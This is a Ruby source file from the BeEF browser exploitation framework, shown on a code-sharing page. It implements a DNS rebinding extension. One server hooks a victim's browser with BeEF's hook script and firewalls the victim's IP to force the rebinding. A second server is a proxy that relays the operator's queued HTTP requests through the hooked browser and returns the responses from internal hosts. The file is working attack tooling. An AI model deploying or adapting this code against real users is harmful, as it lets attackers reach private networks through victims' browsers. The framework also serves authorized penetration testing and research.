Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/dns_rebinding/dns_rebinding.rb
1154 views
1
module BeEF
2
module Extension
3
module DNSRebinding
4
# Very simple HTTP server. Its task is only hook victim
5
class Server
6
@debug_mode = false
7
def self.log(msg)
8
warn msg.to_s if @debug_mode
9
end
10
11
def self.run_server(address, port)
12
server = TCPServer.new(address, port)
13
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
14
loop do
15
s = server.accept
16
Thread.new(s) do |socket|
17
victim_ip = socket.peeraddr[2].to_s
18
19
log "-------------------------------\n"
20
log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
21
22
response = File.read(File.expand_path('views/index.html', __dir__))
23
configuration = BeEF::Core::Configuration.instance
24
25
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
26
hook_file = configuration.get('beef.http.hook_file')
27
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
28
29
response.sub!('path_to_hookjs_template', hook_uri)
30
31
start_string = socket.gets
32
socket.print "HTTP/1.1 200 OK\r\n" +
33
"Content-Type: text/html\r\n" +
34
"Content-Length: #{response.bytesize}\r\n" +
35
"Connection: close\r\n"
36
socket.print "\r\n"
37
socket.print response
38
socket.close
39
40
# Indicate that victim load all javascript and we can block it with iptables.
41
dr_config = configuration.get('beef.extension.dns_rebinding')
42
if start_string.include?('load')
43
log "[Server] Block with iptables\n"
44
port_http = dr_config['port_http']
45
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
46
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
47
'r+') do |io|
48
end
49
else
50
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
51
end
52
end
53
log "-------------------------------\n"
54
end
55
end
56
end
57
end
58
59
class Proxy
60
@queries = Queue.new
61
@responses = {}
62
@mutex_responses = nil
63
@mutex_queries = nil
64
@debug_mode = false
65
66
def self.send_http_response(socket, response, heads = {})
67
socket.print "HTTP/1.1 200 OK\r\n"
68
69
headers = {}
70
headers['Content-Type'] = 'text/html'
71
headers['Content-Length'] = response.size.to_s
72
headers['Connection'] = 'close'
73
headers['Access-Control-Allow-Origin'] = '*'
74
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
75
headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
76
headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
77
78
headers_a = heads.to_a
79
headers_a.each do |header, value|
80
headers[header] = value
81
end
82
83
headers.to_a.each do |header, value|
84
socket.print header + ': ' + value + "\r\n"
85
end
86
87
socket.print "\r\n"
88
socket.print response
89
end
90
91
def self.log(log_message)
92
warn log_message if @debug_mode
93
end
94
95
def self.read_http_message(socket)
96
message = {}
97
message['start_string'] = socket.gets.chomp
98
message['headers'] = {}
99
message['response'] = ''
100
c = socket.gets
101
while c != "\r\n"
102
name = c[/(.+): (.+)/, 1]
103
value = c[/(.+): (.+)/, 2]
104
message['headers'][name] = value.chomp
105
c = socket.gets
106
end
107
length = message['headers']['Content-Length']
108
if length
109
# Ruby read() doesn't return while not read all <length> byte
110
resp = socket.read(length.to_i)
111
message['response'] = resp
112
end
113
message
114
end
115
116
def self.handle_victim(socket, http_message)
117
log "[Victim]request from victim\n"
118
log http_message['start_string'].to_s + "\n"
119
120
if http_message['start_string'].include?('POST')
121
# Get result from POST query
122
log "[Victim]Get the result of last query\n"
123
124
# Read query on which asked victim
125
query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
126
log '[Victim]asked path: ' + query + "\n"
127
128
length = http_message['headers']['Content-Length'].to_i
129
content_type = http_message['headers']['Content-Type']
130
log '[Victim]Content-type: ' + content_type.to_s + "\n"
131
log '[Vicitm]Length: ' + length.to_s + "\n"
132
133
response = http_message['response']
134
log "[Victim]Get content!\n"
135
136
send_http_response(socket, 'ok')
137
socket.close
138
139
log "[Victim]Close connection POST\n"
140
log "--------------------------------\n"
141
142
@mutex_responses.lock
143
@responses[query] = [content_type, response]
144
@mutex_responses.unlock
145
elsif http_message['start_string'].include?('OPTIONS')
146
send_http_response(socket, '')
147
socket.close
148
log "[Victim]Respond on OPTIONS reques\n"
149
log "--------------------------------\n"
150
else
151
# Look for queues from beef owner
152
log "[Victim]Waiting for next query..\n"
153
while @queries.size == 0
154
end
155
156
# Get the last query
157
@mutex_queries.lock
158
log "[Victim]Get the last query\n"
159
last_query = @queries.pop
160
log '[Victim]Last query:' + last_query.to_s + "\n"
161
@mutex_queries.unlock
162
163
response = last_query[2]
164
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
165
log "[Victim]Send next query to victim's browser\n"
166
log "---------------------------------------------\n"
167
socket.close
168
end
169
end
170
171
# Handle request from BeEF owner
172
def self.handle_owner(socket, http_message)
173
log "[Owner]Request from owner\n"
174
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
175
176
if http_message['start_string'].include?('GET')
177
unless path.nil?
178
log '[Owner]Need path: ' + path + "\n"
179
@queries.push(['GET', path, ''])
180
end
181
elsif http_message['start_string'].include?('POST')
182
log "[Owner]Get POST request\n"
183
@queries.push(['POST', path, http_message['response']]) unless path.nil?
184
end
185
186
# Waiting for response, this check should not conflict with thread 2
187
while @responses[path].nil?
188
end
189
190
@mutex_responses.lock
191
log "[Owner]Get the response\n"
192
response_a = @responses[path]
193
@mutex_responses.unlock
194
195
response = response_a[1]
196
content_type = response_a[0]
197
198
send_http_response(socket, response, { 'Content-Type' => content_type })
199
200
log "[Owner]Send response to owner\n"
201
log "-------------------------------\n"
202
socket.close
203
end
204
205
def self.run_server(address, port)
206
@server = TCPServer.new(address, port)
207
@mutex_responses = Mutex.new
208
@mutex_queries = Mutex.new
209
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
210
loop do
211
s = @server.accept
212
Thread.new(s) do |socket|
213
http_message = read_http_message(socket)
214
if http_message['start_string'].include?('from_victim')
215
handle_victim(socket, http_message)
216
else
217
handle_owner(socket, http_message)
218
end
219
end
220
end
221
end
222
end
223
end
224
end
225
end
226
227